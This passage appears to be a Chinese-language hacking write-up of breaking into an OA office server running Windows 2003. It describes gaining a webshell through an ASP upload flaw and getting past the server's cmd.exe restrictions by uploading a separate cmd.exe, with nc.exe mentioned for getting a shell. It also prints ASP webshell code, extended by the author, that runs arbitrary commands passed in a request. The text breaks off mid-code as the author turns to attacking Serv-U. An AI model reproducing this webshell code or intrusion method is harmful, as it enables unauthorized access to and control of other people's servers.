此次渗透的目标是一台OA办公系统服务器。其操作系统新近升级到了Windows2003，但OA仍存在asp文件上传漏洞，所以webshell的取得并没有任何悬念。阻碍是在权限提升时遇到的。

　　登陆webshell后发现只能查看服务器的D盘，对C盘不能进行任何访问，webshell的提示是“没有权限”。这点早在意料之中，因为 wenshell只有guests组权限，再加上win2003默认禁止了“Everyone"匿名用户及“Guest"组权限用户访问cmd.exe， 还造成了不能通过webshell运行cmd.exe。

　　唯一值得庆幸的是利用Webshell 可以对D盘（存放有web虚拟目录）各个子目录进行读写。这里除了web虚拟目录还有一些数据备份文件和一个腾讯QQ安装目录Tencent。

　　二、破解Serv-u的终极防范

　　Windows2003的种种默认安全配置展示了它强大的一面，近一步提升现有权限似乎已不太可能，直到我试图从系统入手向这台服务器发出FTP链接请求并看到Serv-u的banner时才觉得又有了一线希望。

　　前面提到由于Windows2003对cmd.exe的权限限制，通过webshell方式不能运行cmd.exe，这样的论断在2004年6 期的防线的《构建Windows2003堡垒主机》一文也曾提到,但实践表明这并不正确，通过webshell上传本地非2003系统中未受限制的 cmd.exe文件到可执行目录，再通过wscript组件，同样能够通过webshell方式在Windows2003下获得相应权限的 cmd.exe。结合nc.exe，甚至还能得到一个guest组权限的命令行下的shell。

　　为此，我对老兵的站长助手6.0做了一些改进，增加了如下代码，使其能够利用Wscript.shell组件运行本地上传的cmd.exe。

Function CmdShell() 
If Request("SP")<>"" Then Session("ShellPath") = Request("SP") 
ShellPath=Session("ShellPath") 
if ShellPath="" Then ShellPath = "cmd.exe" 
if Request("wscript")="yes" then 
checked=" checked" 
else 
checked="" 
end if 
If Request("cmd")<>"" Then DefCmd = Request("cmd") 
SI="<form method='post'><input name='cmd' Style='width:92%' class='cmd' 
value='"DefCmd&"'><input type='submit' value='运行'>" 
SI=SI&"<textarea Style='width:100%;height:500;' class='cmd'>" 
If Request.Form("cmd")<>"" Then 
if Request.Form("wscript")="yes" then 
Set CM=CreateObject(ObT(1,0)) 
Set DD=CM.exec(ShellPath&" /c "DefCmd) 
aaa=DD.stdout.readall 
SI=SI&aaa 
else%> 
<object runat=server id=ws scope=page classid="clsid:72C24DD5-D70A-438B-8A42-
98424B88AFB8"></object> 
<object runat=server id=ws scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-
00C04FD58A0B"></object> 
<object runat=server id=fso scope=page classid="clsid:0D43FE01-F093-11CF-8940-
00A0C9054228"></object> 
<%szTempFile = server.mappath("cmd.txt")